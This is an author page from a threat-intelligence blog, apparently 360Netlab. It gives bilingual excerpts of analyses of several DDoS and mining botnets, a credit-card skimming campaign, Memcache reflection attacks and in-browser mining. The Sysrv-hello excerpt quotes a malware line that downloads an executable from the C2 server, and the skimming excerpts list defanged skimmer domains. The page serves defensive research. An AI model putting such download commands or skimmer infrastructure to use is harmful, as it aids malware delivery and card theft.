



YANG XU

Edge of the world

<http://cybatk.com/>

Botnet

Fodcha Is Coming Back, Raising A Wave of Ransom DDoS

Background On April 13, 2022, 360Netlab first disclosed the Fodcha botnet. After our article was published, Fodcha suffered a crackdown from the relevant authorities, and its authors quickly responded by leaving "Netlab pls leave me alone I surrender" in an updated sample. No surprise, Fodcha's authors



• Oct 31, 2022 • 16 min read

Botnet

卷土重来的DDoS狂魔：Fodcha僵尸网络再次露出獠牙

背景 2022年4月13日，360Netlab首次向社区披露了Fodcha僵尸网络，在我们的文章发表之后，Fodcha遭受到相关部门的打击，其作者迅速做出回应，在样本中留下Netlab pls leave me alone I surrender字样向我们投降。本以为Fodcha会就此淡出江湖，没想到这次投降只是一个不讲武德的假动作，Fodcha的作者在诈降之后

并没有停下更新的脚步，很快就推出了新版本。在新版本中，Fodcha的作者重新设计了通信协议，并开始使用xxtea和chacha20算法对敏感资源和网络通信进行加密，以躲避文件&流量层面的检测；同时引入了OpenNIC域名做为主选C2，ICANN域名做为后备C2的双C2方案。这种冗余机制，既能防止C2被接管，又有良好的健壮性，能够维持其主控网络的稳定。依托于背后团队强大的N-day漏洞整合能力，卷土重来的Fodcha与之前对比可谓有过之而无不及。在我们的数据视野中，从规模来看，Fodcha再次发展成日活Bot节点数超过60K，C2域名绑定40+IP，可以轻松打出超过1Tbps流量的大规模僵尸网络；就活跃程度而言，



· Oct 27, 2022 · 23 min read

Botnet

Fodcha, a new DDos botnet

Overview Recently, CNCERT and 360netlab worked together and discovered a rapidly spreading DDoS botnet on the Internet. The global infection looks fairly big as just in China there are more than 10,000 daily active bots (IPs) and also more than 100 DDoS victims being targeted on a daily basis. We named



· Apr 13, 2022 · 7 min read

Botnet

新威胁：闷声发大财的Fodcha僵尸网络

本报告由国家互联网应急中心（CNCERT）与三六零数字安全科技集团有限公司共同发布。概述 近期，CNCERT和三六零数字安全科技集团有限公司共同监测发现一个新的且在互联网上快速传播的DDoS僵尸网络，通过跟踪监测发现其每日上线境内肉鸡数（以IP数计算）已超过1万、且每日会针对超过100个攻击目标发起攻击，给网络空间带来较大威胁。由于该僵尸网络最初使用的C2域名folded.in，以及使用chacha算法来加密网络流量，我们将其命名为Fodcha。僵尸网络规模 通过监测分析发现，2022年3月29日至4月10日Fodcha僵尸网络日上线境内肉鸡数最高达到1.5万台，累计感染肉鸡数达到6.2万。每日境内上线肉鸡数情况如下。Netlab按：根据国外合作伙伴的数据，我们估算该家族全球日活肉鸡数量应该在5.6w+ Fodcha僵尸网络位于境内肉鸡按省份统计，排名前三位的分别为山东省（12.9%）、辽宁省（11.8%）和浙江省（9.9%）；按运营商统计，联通占59.9%，电信占39.4%，移动占0.5%。传播方式 通过跟踪监测，



· Apr 13, 2022 · 9 min read

DNS

The Pitfall of Threat Intelligence Whitelisting: Specter Botnet is 'taking over' Top Legit DNS Domains By Using ClouDNS Service

Abstract In order to reduce the possible impact of false positives, it is pretty common practice for security industry to whitelist the top Alexa domains such as www.google.com, www.apple.com, www.qq.com, www.alipay.com. And we have seen various machine learning detection models that bypass



· Nov 18, 2021 · 6 min read

DNS

白名单之殇：Specter僵尸网络滥用ClouDNS服务，github.com无辜躺枪

摘要 威胁情报的应用，始终存在着“漏报”和“误报”的平衡，为了减少可能的误报带来的业务影响，你的威胁情报白名单中是否静静的躺着 www.apple.com、www.qq.com、www.alipay.com 这样的流行互联网业务域名呢？你的机器学习检测模型，依照历史流量，是否会自动对 .qq.com、.alipay.com 这样的流量行为增加白权重呢？但安全是对抗，白帽子想“判黑”，黑客想“洗白”。我们看到的白，不一定是真的白，可能只是黑客想让我们以为的白。我们BotnetMon最近的跟踪发现，Specter僵尸网络家族的样本，会使用api.github.com这种域名作为CC域名来通信，通过“可定制化”的DNS服务，将“白域名”引导到黑IP上来实现自己恶意指令通信。这种“过白”手法，在流量检测的场景下，



· Nov 18, 2021 · 11 min read

Import 2022-11-30 11:16

Malware uses namesilo Parking pages and Google's custom pages to spread

Abstract Recently, we found a suspicious GoELFsample, which is a downloader mainly to spread mining malwares. The interesting part is that we noticed it using namesilo's Parking page and Google's user-defined page to spread the sample and configuration. Apparently this is yet another attempt to hide



· Nov 12, 2021 · 3 min read

Import 2022-11-30 11:16

快讯：利用namesilo Parking和Google的自定义页面来传播恶意软件

摘要 近期，我们发现一个GoELF可疑样本，分析得知是一个downloader，主要传播挖矿。有意思的地方在于传播方式，利用了namesilo的Parking页面，以及Google的用户自定义页面来传播样本及配置，从而可以躲避跟踪。该样本最开始被友商腾讯安全团队捕获，不过传播链条分析中，对namesilo parking域名的分析不太准

确。往往大家以为，域名停靠期间(Domain Parking)，页面显示内容是被域名停靠供应商强制限定的，域名实际拥有者并不能修改其页面内容。但在这个案例中，域名停靠供应商允许域名拥有者自定义停靠页面。攻击者利用了这一点，再加上Google提供的自定义页面来传播自己的木马。这样做有两个显而易见的好处：一方面攻击者几乎不需要为恶意代码的传播付出任何带宽和服务器的费用；另一方面攻击者将自己的恶意行为隐藏在大型互联网基础服务供应商的巨大流量中，所谓大隐于市，以此隐藏自己的行踪使得更难被检测和追踪。在我们的DNSMon/DTA监测数据中显示，这种趋势在最近几月有上升迹象，值得安全社区注意。缘起 在10.13号，我们的BotnetM

 · Nov 11, 2021 · 5 min read

0-day

Mirai_ptea_Rimasuta variant is exploiting a new RUIJIE router 0 day to spread

Overview In July 2021 we blogged about Mirai_ptea, a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which

 · Sep 28, 2021 · 10 min read

0-day

Mirai_ptea_Rimasuta变种正在利用RUIJIE路由器在野0DAY漏洞传播

版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。概述 2021年7月我们向社区公布了一个通过KGUARD DVR未公开漏洞传播的僵尸网络Mirai_ptea，一开始我们认为这是一个生命短暂的僵尸网络，不久就会消失不见，因此只给了它一个通用的名字。但很显然我们小看了这个家族背后的团伙，事实上该家族一直非常活跃，最近又观察到该家族正在利用RUIJIE NBR700系列路由器的在野0day漏洞传播。比较有意思的是，该家族的作者曾经在某次更新的样本中加入了这么一段话吐槽我们的mirai_ptea命名： -_- you guys didnt pick up on the name? really??? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name. 出于对作者的"尊重"，以及对该团伙实力的重新评估，我们决定将其命名为Mirai_

 · Sep 28, 2021 · 14 min read

sysrv

Threat Alert: New update from Sysrv-hello, now infecting victims' webpages to push malicious exe to end users

Overview From the end of last year to now, we have seen the uptick of the mining botnet families. While

new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [rinfo][z0miner]. And the latest case comes from Sysrv-hello.



· Apr 29, 2021 · 3 min read

sysrv

威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力

版权声明: 本文为Netlab原创, 依据 CC BY-SA 4.0 许可证进行授权, 转载请附上出处链接及本声明。概述从去年末到现在, 挖矿类型的botnet家族一直活跃, 除了新家族不断出现, 一些老家族也频繁升级, 主要是为了提高传播能力和隐蔽性, 我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello, 本来近期已经有2家安全公司先后分析过该家族的新变种[1][2], 但文章刚出来sysrv的作者就在4月20号再次进行升级, 增加了感染网页的能力, 本文对此做一分析。新模块a.py和BrowserUpdate.exe 我们知道sysrv能同时感染Linux和Windows系统, 其入口为一个脚本文件, Linux下为bash脚本, 最常见的文件名是ldr.sh, Windows下为PowerShell脚本ldr.ps1, 这次升级只在ldr.sh中检测到, bash脚本中添加了如下代码:
curl \$cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe curl



· Apr 28, 2021 · 4 min read

Necro

Necro upgrades again, using Tor + dynamic domain DGA and aiming at both Windows & Linux

Overview Back in January, we blogged about a new botnet Necro and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar. March 2nd, the BotMon system has detected that Necro has started spreading again, in



· Mar 18, 2021 · 12 min read

Import 2022-11-30 11:16

Necro再次升级，使用Tor+动态域名DGA 双杀Windows&Linux

版权声明: 本文为Netlab原创, 依据 CC BY-SA 4.0 许可证进行授权, 转载请附上出处链接及本声明。概述自从我们1月份公开Necro后不久, 它就停止了传播, 但从3月2号开始, BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE (CVE_2020_35665) 和Zend RCE

(CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：1. 开始攻击Windows系统，并在Windows平台上使用Rootkit隐藏自身。2. 更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。3. C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。4. 能针对特定Linux目标传播Gafgyt_tor。5. 能篡改受害



· Mar 16, 2021 · 15 min read

New Threat

New Threat: ZHtrap botnet implements honeypot to facilitate finding more victims

Overview In the security community, when people talk about honeypot, by default we would assume this is one of the most used toolkits for security researchers to lure the bad guys. But recently we came across a botnet uses honeypot to harvest other infected devices, which is quite interesting. From



8



8



8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

8

New Threat

新威胁：ZHtrap僵尸网络分析报告

版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。概述从2021年2月28日起，360网络安全研究院的BotMon系统检测到IP(107.189.30.190)在持续传播一批未知ELF样本。经分析，我们确认这些样本隶属于一个新的botnet家族，结合其运行特点，我们将其命名为ZHtrap，本文对其做一分析，文章要点如下：1. ZHtrap的传播使用了4个Nday漏洞，主要功能依然是DDoS和扫描，同时集成了一些后门功能。2. Zhtrap能将被感染设备蜜罐化，目的是提高扫描效率。3. Zhtrap感染受害主机后会禁止运行新的命令，以此实现彻底控制和独占该设备。4. 在C2通信上，ZHtrap借鉴了套娃，采用了Tor和云端配置。ZHtrap全情介绍 ZHtrap的代码由Mirai修改而来，支持x86, ARM, MIPS等主流CPU架构。但相对Mirai，ZHtrap变化较大，体现在如下方面： * 在指令方面，加入了校验机制 * 在扫描传播方面，增加了对真实设备和蜜



8



8



8



8



8



8



8



8



8



8



8



8



8



8



8



8



8



8



8

DNSMon

Ongoing Credit Card Data Leak [Continues]

DNSMon is a network-wide DNS malicious domain analysis system we build here at 360Netlab. With the 10%+ total DNS traffic coverage in China, plus the other multi-dimensional security data and security...



· May 14, 2019 · 3 min read

DNSMon

信用卡数据泄漏持续进行中 [快速更新]

DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生的事情，我们可以“看见”正在发生的威胁。黑客在行动 5月8号，我们发布文章 <信用卡数据泄漏持续进行中>，揭露了一个通过入侵购物网站来窃取信用卡信息的案例。文章发布后不久，我们发现黑客们开始做调整，原始域名 magento-analytics[.]com 已经下线。但不久，我们的 DNSMon 系统在UTC时间 2019-05-13 凌晨时候捕捉到该黑客的2个更新，被用于同样的信用卡信息窃取。更新1：启动了一个新域名：jqueryextd[.]at 对应的恶意JS链接为 “hxps://jqueryextd.at/5c21f3dbf01e0.js”，脚本中上报地址也对应的改为了“hxps://jqueryextd.at/gate.php”



· May 14, 2019 · 3 min read

DNSMon

Ongoing Credit Card Data Leak

Our DNSMon flagged an abnormal domain name magento-analytics[.]com, been used to inject malicious JS script to various online shopping sites to steal the credit card owner/card number/expiration time/ CVV information.



· May 8, 2019 · 6 min read

数据泄漏

信用卡数据泄漏持续进行中

我们的DNSMon发现了一个异常域名 magento-analytics[.]com，通过持续的跟踪，以及和WEB数据的关联，发现该域名通过渗透侵入购物网站，植入自己的JS脚本，实时判定用户信用卡的输入情况，将信用卡的所有人/卡号/过期时间/CVV 信息回传，实现对信用卡数据的窃取，进而可以盗刷。当前估算，失陷的购物网站应该超过1000+。



· May 8, 2019 · 10 min read

DDoS Mon

Memcache UDP Reflection Amplification Attack II: The Targets, the Sources and Breakdowns

In less than ten days, Memcache DDoS attack has come out of nowhere and really captured lots of attentions within the security community. When we look at the news, we see all sort of reports but hardly can get a good idea what the real situation is, for example the



· Mar 8, 2018 · 4 min read

DDoS Mon

Memcache UDP 反射放大攻击 II: 最近的数据分析

我们在之前的 文章 中已经提及，Memcache DRDoS 自从被360 Okee team首次公开披露以来，在过去的9个月中在网络上都不活跃。但是最近十天以来，Memcache DRDoS 在现网中的攻击越来越频繁，所制造的攻击流量也在不断刷新，当前最新的公开记录已经到了 1.7Tbps 。关于这种攻击方式，目前还有很多问题等待回答。例如，到底已经有多少受害者、攻击中所使用的反射点到底有多少、实际发生的反射放大倍数是多少，等等。通过回答这些问题，我们可以充分描述当前总体态势，有助于安全社区理解这种新的DDoS攻击方式。为此我们在 Memcache DRDoS 在 DDoS Mon 上建立了一个 实时页面 ，展示我们看到的相关DDoS攻击情况，供安全社区参考。总体趋势 上面两图展示了每天中发生的攻击事件次数。可以看出，从2018-02-24开始，这种攻击在几天内快速发展。我们暂且将时间划分为下面这些阶段： * ~ 2018-02-24 之前，每日平均小于 50 起攻击事件 * 第一阶段：02-24 ~ 02-28，



· Mar 8, 2018 · 8 min read

Browser Mining

是谁悄悄偷走我的电 (二): 那些利用主页挖取比特币的网站

我们在早先的文章中提到, 大约有 0.2% 的网站在使用主页中嵌入的JS代码挖矿: - Alexa 头部 10万网站中有 241 (0.24%)个 - Alexa 头部 30万网站中, 有 629 (0.21%)个 我们决定还是公开文中提到的全部站点列表, 这样读者可以采取更多的行动。我们的 DNSMon 在2018-02-08 生成的列表, 其格式如下: Alexa_Rank Website Related-Coin-Mining-Domain/URL 1503 mejortorrent.com |coinhive.com 1613 baytpbportal.fi |coinhive.com 3096 shareae.com

 · Feb 13, 2018 · 1 min read

Browser Mining

The List of Top Alexa Websites With Web-Mining Code Embedded on Their Homepage

On our previous blog, we mentioned over 0.2% websites have web mining code embedded in their homepage: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites. And after some discussion, we figured it makes sense to release

 · Feb 8, 2018 · 1 min read

Mining

Who is Stealing My Power: Web Mining Domains Measurement via DNSMon

At 360Netlab, we are continuously analyzing DNS traffic. Based on this, we have established a DNSMon detection system that analyzes various anomalies and correlations in DNS traffic. We reported a few web mining sites such as openload.co in previous article. After that, we try to use DNSMon to further

 · Feb 7, 2018 · 4 min read

